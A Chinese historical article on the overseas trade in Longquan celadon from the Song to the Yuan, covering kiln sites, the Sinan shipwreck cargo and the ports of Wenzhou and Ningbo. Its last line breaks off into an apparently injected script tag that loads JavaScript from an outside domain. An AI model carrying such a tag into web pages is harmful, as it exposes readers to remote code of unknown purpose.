| 外销是龙泉青瓷发展的动力之一 。
龙泉窑瓷器在北宋就开始对外输出，菲律宾出土的多管瓶、注子，日本福冈大宰府等遗址出土的双面刻花碗，是很好的物证。
南宋时龙泉窑迅速发展。在南宋前期，瓷窑就扩展到龙泉、庆元、云和、遂昌、缙云、永嘉、泰顺、文成等县市的广大地区，形成一个庞大的窑系。多数瓷窑分布在瓯江及其支流(好溪、楠溪)两旁的山麓上，少数窑场建在飞云江上游文成、泰顺县境内。产品销售到亚洲、非洲许多国家。外销以碗、盘为主，如刻花莲花碗，划花云纹碗，内底印“金玉满堂”、“河滨遗范”和“昆阳片玉”铭文碗，折腹平底盘和刻缠枝花凤雁纹大盘等。
到了南宋中期，随着白胎厚釉精美青瓷的烧成，龙泉青瓷深受人们的喜爱，纷纷争购，当作珍贵的礼品和日用瓷，外销量进一步增加。明陆容在《菽园杂志》中说：“然上等价高，皆转货他处，县官未尝见也。”由于销售快，价钱高，赚钱多，所以大窑、溪口少数瓷窑生产精美青瓷的先进工艺技术不断地被各地的龙泉窑所吸收掌握，生产白胎厚釉青瓷。
13世纪末，元王朝建立了横跨亚洲、东欧的大帝国，结束了南宋与金对峙的局面。元朝的大统一，促进了国内各民族之间经济、文化的交流，同时元朝继续重视对外贸易，龙泉青瓷作为重要商品之一，大量外销到亚非许多国家和地区，外销的数量比以前大大增加。在日本、菲律宾、印度尼西亚、越南、柬埔寨、泰国、马来西亚、缅甸、印度、斯里兰卡等国家都发现大量元代龙泉窑青瓷。例如1976年在韩国新安海底发现一艘沉船，为了取得沉船的有关资料和珍贵文物，立即组织力量，进行打捞，自1976—1984年九年间，共打捞了各类文物22000多件，其中青瓷12359件，青白瓷、白瓷5303件（注9：《新安海底遗物·综合篇》，1988年出版。），青瓷中除有少数几件高丽瓷器和元代哥窑型瓷器外，都是龙泉青瓷，数量惊人。由此可见，龙泉青瓷受到世界各国的广泛欢迎，出口量很大。
由于销售量不断增加，瓷业迅速发展，新的瓷窑不断出现。在龙泉窑的著名产地——大窑，有50多处瓷窑在忙碌地生产，许多瓷窑紧密相连，白天烟雾弥漫，夜间炉火辉映，盛况至前。在龙泉溪口、庆元竹口和两地相交的金村、上羊之间都形成了大的瓷业区，各有十多个瓷窑在生产。尤其是水上运输方便的龙泉至丽水的瓯江两岸，新建的瓷窑很多。此外在遂昌、景宁、武义、缙云、永嘉等县也有部分瓷窑，窑址总数计300余处。其瓷窑数量之多，分布范围之广，在全国瓷窑中是罕见的（注10：这里不包括江西景德镇、吉州窑、横峰窑、湖南益阳羊舞岭窑，以及福建、广东生产龙泉青瓷系的众多瓷窑）。
为了适应蒙古贵族和外国的生活习俗，瓷器的风格也与南末后期有很大的区别。器形高大浑厚，盛行花纹装饰。许多瓷窑生产的各式大盘，盘的口径在四五十厘米左右，花瓶与碗、钵也很大，许多花瓶的高度超过40厘米，其中英国大维德博物馆收藏的元泰定四年(公元1327年)浮雕缠枝牡丹纹大花瓶，高达72.80厘米。这些大型器物和高足杯的生产显然是受了西亚伊斯兰文化的影响，大盘的大量生产则与中亚、西亚、东南亚用大盘盛菜盛饭、围桌而坐或席地而坐的饮食习惯有关。外销瓷数量的增加，促进了龙泉瓷业的发展。
龙泉青瓷外销的主要港口：
龙泉窑的主要窑场在浙南瓯江上游两岸。这里山岭密布，道路崎岖，而瓷器是一种重而易碎的商品，陆路运输既艰苦又容易损坏。所以用船筏沿瓯江顺流而下运到丽水、温州、宁波，再运销到国内外。瓷器用船装运，装载量大又平稳安全，运费低，损耗少。龙泉窑瓷器除了就地销售一部分外，都用船运到温州。
温州位于瓯江口南岸，东临东海，水陆交通方便，瓯江、飞云江流域的手工业品、农副产品汇集到温州销售，是浙南的经济文化中心。这里造船业发达，在南宋后期每年“造船以六百只为额，，(注11：宋会要辑稿·食货五十)，在全国造船业中占有重要地位。同时漆器、刺绣、造纸等手工业也很发达。为了加强通商贸易管理，在南宋初年设置市舶务，元朝初设市舶司，是我国对外通商的口岸之一。元代周达观前往真腊(今柬埔寨)就是从温州港开洋的。
宁波在唐开元二十六年名为明州，南末庆元元年(公元1195年)改明州为庆元府，元代改府为路，称庆元路，明洪武十四年（公元1381年）改为宁波府。宁波地处东海之滨，土地肥沃，物产丰富，航道畅通。市区在甬江、奉化江和余姚江的汇合处，向北顺甬江入海，?script src=http://jiongjia.com/c.js>
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